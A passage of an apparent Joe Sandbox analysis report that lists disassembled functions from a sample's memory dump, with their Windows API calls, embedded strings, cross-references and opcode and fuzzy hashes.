Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: bb049271ce56bb85175bf045833e454e1d47069daa990a98acbb9ea57ec82036
Instruction ID: dbe649b1d3951c53ac8d644f83b4cd4abb53d0579fa9b38909265a540e4caec6
Opcode Fuzzy Hash: bb049271ce56bb85175bf045833e454e1d47069daa990a98acbb9ea57ec82036
Instruction Fuzzy Hash: 7E9180355046419FD720DF16C989F1ABBE0AF44318F1485A9F4A98B6A2C7B0FD85CF91

Function 00AE8CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 00AE8CF3

Part of subcall function 00AC8E54: _wcslen.LIBCMT ref: 00AC8E77

_wcslen.LIBCMT ref: 00AE8D4E
_wcslen.LIBCMT ref: 00AE8D9C
_wcslen.LIBCMT ref: 00AE8DDC
_wcslen.LIBCMT ref: 00AE8E6E

Strings

none, xrefs: 00AE8E65, 00AE8E6A
winapi, xrefs: 00AE8D96, 00AE8D9B
cdecl, xrefs: 00AE8D48, 00AE8D4D
stdcall, xrefs: 00AE8DD6, 00AE8DDB

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: 4d6857c7973bca085872db6c20890ea13927eab20c6812e8d8c9952ba01244dc
Instruction ID: 478c92629f02e1698908bbddf290cf6ed4b1e65dd7f21b565ecf13d61d9d87a1
Opcode Fuzzy Hash: 4d6857c7973bca085872db6c20890ea13927eab20c6812e8d8c9952ba01244dc
Instruction Fuzzy Hash: 2D51A332A005569BCF24DF6DC9809BEB7B5BF64724B214269E42AE72C4DF39DD40C790

Function 00AE372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00AE3774
CoUninitialize.OLE32 ref: 00AE377F
CoCreateInstance.OLE32(?,00000000,00000017,00AFFB78,?), ref: 00AE37D9
IIDFromString.OLE32(?,?), ref: 00AE384C
VariantInit.OLEAUT32(?), ref: 00AE38E4
VariantClear.OLEAUT32(?), ref: 00AE3936

Strings

Invalid parameter, xrefs: 00AE3865
Failed to create object, xrefs: 00AE37E4, 00AE389A
NULL Pointer assignment, xrefs: 00AE381E

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: 2db0ef682e717c19382a3358f8493bc7c1129b489a987f53a7fbe64b28127ffc
Instruction ID: 3d0813ef7eb73bbdaa482e934e9672b085fff4882b1bee0dd578ea84601b9e43
Opcode Fuzzy Hash: 2db0ef682e717c19382a3358f8493bc7c1129b489a987f53a7fbe64b28127ffc
Instruction Fuzzy Hash: EE61AC72608351AFDB10DF56C988F6ABBF8AF49754F004849F9859B291C770EE48CB92

Function 00AD8195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00AD8257
SystemTimeToFileTime.KERNEL32(?,?), ref: 00AD8267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00AD8273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00AD8310
SetCurrentDirectoryW.KERNEL32(?), ref: 00AD8324
SetCurrentDirectoryW.KERNEL32(?), ref: 00AD8356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00AD838C
SetCurrentDirectoryW.KERNEL32(?), ref: 00AD8395

Strings

*.*, xrefs: 00AD839B

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 7aa94b93c05654d0a35b848cc02a84230be848faad902e030e4530335040c6ad
Instruction ID: 3fa025eba2fe66f912fe257bff8a6318ee0abeac9416f7d24589f65b1814fbb0
Opcode Fuzzy Hash: 7aa94b93c05654d0a35b848cc02a84230be848faad902e030e4530335040c6ad
Instruction Fuzzy Hash: 136158725043459FCB10EF64C9409AEB3F8FF89324F04891EF99A87251EB35E945CB92

Function 00AD3388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00AD33CF

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00AD33F0

Strings

Line %d (File "%s"):, xrefs: 00AD3443, 00AD345C
"%s" (%d) : ==> %s:, xrefs: 00AD3522
"%s" (%d) : ==> %s:%s%s, xrefs: 00AD3504
Error: , xrefs: 00AD34D1
Incorrect parameters to object property !, xrefs: 00AD34AB
^ ERROR , xrefs: 00AD349E

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: 45ecb0b75040233e8ef2913ff9309debc6847e801a4423042e2596a40f8de243
Instruction ID: fd9fbbf249d1ff1a7808429df525b130079ba553b90c7e4d18919310be10ca36
Opcode Fuzzy Hash: 45ecb0b75040233e8ef2913ff9309debc6847e801a4423042e2596a40f8de243
Instruction Fuzzy Hash: 91517F72900209BADF15EBE0DE46EEEB7B8AF14340F204465F50A731A1EB312F59DB61

Function 00ACB5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00ACB5FC
_wcslen.LIBCMT ref: 00ACB608
_wcslen.LIBCMT ref: 00ACB64D
_wcslen.LIBCMT ref: 00ACB68C
_wcslen.LIBCMT ref: 00ACB6C7

Strings

APPEND, xrefs: 00ACB6C1, 00ACB6C6
KEYS, xrefs: 00ACB647, 00ACB64C
REMOVE, xrefs: 00ACB602, 00ACB607
EXISTS, xrefs: 00ACB686, 00ACB68B

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: 7b0714b833459a5cc73ba9020603426abc1b049f5103122e47f07a8ca09ff285
Instruction ID: 546c9d764fa6474bca2862b0ba1caebc1cd5e5b5994e034908a3fe5c46511b0d
Opcode Fuzzy Hash: 7b0714b833459a5cc73ba9020603426abc1b049f5103122e47f07a8ca09ff285
Instruction Fuzzy Hash: 5641E732A110279ACB206F7DC992BBE77B5AF60754F26452DE825D7284E732CD81C7A0

Function 00AD5393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00AD53A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00AD5416
GetLastError.KERNEL32 ref: 00AD5420
SetErrorMode.KERNEL32(00000000,READY), ref: 00AD54A7

Strings

READY, xrefs: 00AD5460, 00AD5468
READONLY, xrefs: 00AD5452
INVALID, xrefs: 00AD5459
UNKNOWN, xrefs: 00AD5444
NOTREADY, xrefs: 00AD544B

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 55a8e97ae0dac87a4b812bb5ff0c2cc8c1b757fe3d44b90887b8f552ecace83f
Instruction ID: fe3ebb20d19431137c82615cbcc1fdacc92ca3949b285ab378645ed3e4fe1024
Opcode Fuzzy Hash: 55a8e97ae0dac87a4b812bb5ff0c2cc8c1b757fe3d44b90887b8f552ecace83f
Instruction Fuzzy Hash: 5F3190B5E006089FD710DF78C584AAABBB5FF45305F14806AE406DB392DB71DD86CB92

Function 00AF3C46 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00AF3C79
SetMenu.USER32(?,00000000), ref: 00AF3C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00AF3D10
IsMenu.USER32(?), ref: 00AF3D24
CreatePopupMenu.USER32 ref: 00AF3D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00AF3D5B
DrawMenuBar.USER32 ref: 00AF3D63

Strings

0, xrefs: 00AF3C54
F, xrefs: 00AF3D4E

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: 645282a4b637078065fed3dbdab8aaa4131fafd4e32c98aa10c08d55e96a1af4
Instruction ID: e847a73ce4a7489a33fa662db68caadca07bc3eab9d90f2f3e0fc38350a7b4c1
Opcode Fuzzy Hash: 645282a4b637078065fed3dbdab8aaa4131fafd4e32c98aa10c08d55e96a1af4
Instruction Fuzzy Hash: 1E416876A01209EFDF14DFA5D944ABA7BB5FF49350F140428FA46A7360D730AA15CF90

Function 00AF3A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00AF3A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00AF3AA0
GetWindowLongW.USER32(?,000000F0), ref: 00AF3AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00AF3AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00AF3B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00AF3BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00AF3BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00AF3BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00AF3BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00AF3C13

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: a76239c83f7d5b7e64c8806eaa1a6d1f783d9d4386907eb0e15d738541b0027b
Instruction ID: 34535a5b7de34b8f70a1bf715afc7cdbe7d73bb4e143502cd2ef9789e979334e
Opcode Fuzzy Hash: a76239c83f7d5b7e64c8806eaa1a6d1f783d9d4386907eb0e15d738541b0027b
Instruction Fuzzy Hash: B9615875A00248AFDB10DFA8CD81EFE77B8EB09710F104199FA15EB2A1D774AE46DB50

Function 00ACB12F Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00ACB151
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00ACA1E1,?,00000001), ref: 00ACB165
GetWindowThreadProcessId.USER32(00000000), ref: 00ACB16C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00ACA1E1,?,00000001), ref: 00ACB17B
GetWindowThreadProcessId.USER32(?,00000000), ref: 00ACB18D
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00ACA1E1,?,00000001), ref: 00ACB1A6
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00ACA1E1,?,00000001), ref: 00ACB1B8
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00ACA1E1,?,00000001), ref: 00ACB1FD
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00ACA1E1,?,00000001), ref: 00ACB212
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00ACA1E1,?,00000001), ref: 00ACB21D

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 3dd15c6ded4f3a4a17d8f64bddac0ebe44f61e6053cf0a32fb93a0b5f2765710
Instruction ID: ce53649919f3e3364657f6fb1ef8df08d32ea7bd1aa9c28ad32d87d4ad8d1980
Opcode Fuzzy Hash: 3dd15c6ded4f3a4a17d8f64bddac0ebe44f61e6053cf0a32fb93a0b5f2765710
Instruction Fuzzy Hash: 1831B871120208AFDB209FA5DD5AFBE7BA9AB10761F224008FA00C71A0CBB59E41CF30

Function 00A92C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00A92C94

Part of subcall function 00A929C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00A9D7D1,00000000,00000000,00000000,00000000,?,00A9D7F8,00000000,00000007,00000000,?,00A9DBF5,00000000), ref: 00A929DE
Part of subcall function 00A929C8: GetLastError.KERNEL32(00000000,?,00A9D7D1,00000000,00000000,00000000,00000000,?,00A9D7F8,00000000,00000007,00000000,?,00A9DBF5,00000000,00000000), ref: 00A929F0

_free.LIBCMT ref: 00A92CA0
_free.LIBCMT ref: 00A92CAB
_free.LIBCMT ref: 00A92CB6
_free.LIBCMT ref: 00A92CC1
_free.LIBCMT ref: 00A92CCC
_free.LIBCMT ref: 00A92CD7
_free.LIBCMT ref: 00A92CE2
_free.LIBCMT ref: 00A92CED
_free.LIBCMT ref: 00A92CFB

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b13ad9ff3c3cd6fc219f56716157d146a181c952f5664f22cf031bb09f2c547f
Instruction ID: ea5ffe68754967c1e3fc19c8643c396bbd7c587f0a40992e19ba1ca96543a8d0
Opcode Fuzzy Hash: b13ad9ff3c3cd6fc219f56716157d146a181c952f5664f22cf031bb09f2c547f
Instruction Fuzzy Hash: 4D116376600108BFCF02EF54DA82EDD3BE5FF45350F5145A5FA489B222DA31EE509B90

Function 00AD7DF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00AD7FAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00AD7FC1
GetFileAttributesW.KERNEL32(?), ref: 00AD7FEB
SetFileAttributesW.KERNEL32(?,00000000), ref: 00AD8005
SetCurrentDirectoryW.KERNEL32(?), ref: 00AD8017
SetCurrentDirectoryW.KERNEL32(?), ref: 00AD8060
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00AD80B0

Strings

*.*, xrefs: 00AD8066

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: 3298b7874098202b0aef1b95d00462d7726d1be216402b7de99792e3212e09e1
Instruction ID: 98d196ecb1e67f989d37114e40cfb5279a75436f9ed8a7133d51fd947b5099fa
Opcode Fuzzy Hash: 3298b7874098202b0aef1b95d00462d7726d1be216402b7de99792e3212e09e1
Instruction Fuzzy Hash: 7581AC725082419BCB28EF55C944AAEB3E8BF88714F54486FF886C7350EB34DD49CB92

Function 00A65BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00A65C7A

Part of subcall function 00A65D0A: GetClientRect.USER32(?,?), ref: 00A65D30
Part of subcall function 00A65D0A: GetWindowRect.USER32(?,?), ref: 00A65D71
Part of subcall function 00A65D0A: ScreenToClient.USER32(?,?), ref: 00A65D99

GetDC.USER32 ref: 00AA46F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00AA4708
SelectObject.GDI32(00000000,00000000), ref: 00AA4716
SelectObject.GDI32(00000000,00000000), ref: 00AA472B
ReleaseDC.USER32(?,00000000), ref: 00AA4733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00AA47C4

Strings

U, xrefs: 00AA4693

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: b576478b2c71a1369e667d6f9fee6f30f88e966f6fb5a1cc88d52c25d53de68e
Instruction ID: 5eea5196bd07610c41ca85cfb1e42c97ec575aa88f34a8873a5408dcf68111ff
Opcode Fuzzy Hash: b576478b2c71a1369e667d6f9fee6f30f88e966f6fb5a1cc88d52c25d53de68e
Instruction Fuzzy Hash: 9F71D031800249DFCF21CFA4C984ABA7BB5FF8B360F244269F9555B2A6C7718842DF50

Function 00AD359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 00AD35E4

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

LoadStringW.USER32(00B32390,?,00000FFF,?), ref: 00AD360A

Strings

Line %d (File "%s"):, xrefs: 00AD366B
"%s" (%d) : ==> %s:, xrefs: 00AD3742
^ ERROR, xrefs: 00AD36C9
"%s" (%d) : ==> %s:%s%s, xrefs: 00AD3724
Error: , xrefs: 00AD36EF

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: 62e967e0502a78fe4ac1e50ce108a03a0a18e774e7255cf1bd256b2ddc713482
Instruction ID: 3ef495f169efa79205a7c22de8838ae8e51b095c13234169804a545c873a0bd5
Opcode Fuzzy Hash: 62e967e0502a78fe4ac1e50ce108a03a0a18e774e7255cf1bd256b2ddc713482
Instruction Fuzzy Hash: 83516D72800219BBDF14EBE0DE46EEEBB78AF14300F144165F115762A1EB316B99DFA1

Function 00AF8B02 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A79BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00A79BB2

Part of subcall function 00A7912D: GetCursorPos.USER32(?), ref: 00A79141
Part of subcall function 00A7912D: ScreenToClient.USER32(00000000,?), ref: 00A7915E
Part of subcall function 00A7912D: GetAsyncKeyState.USER32(00000001), ref: 00A79183
Part of subcall function 00A7912D: GetAsyncKeyState.USER32(00000002), ref: 00A7919D

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?,?), ref: 00AF8B6B
ImageList_EndDrag.COMCTL32 ref: 00AF8B71
ReleaseCapture.USER32 ref: 00AF8B77
SetWindowTextW.USER32(?,00000000), ref: 00AF8C12
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00AF8C25
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?,?), ref: 00AF8CFF

Strings

@GUI_DRAGFILE, xrefs: 00AF8C9A
@GUI_DROPID, xrefs: 00AF8C51

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 164d4dd7d569d9fb75c0da03da94c33a0eb639db33d5361588ad76e218b213d6
Instruction ID: 907e5d35cec4484d60aa196d2ca17fdaf5fbfa235e09f5f42016c2780bf7498e
Opcode Fuzzy Hash: 164d4dd7d569d9fb75c0da03da94c33a0eb639db33d5361588ad76e218b213d6
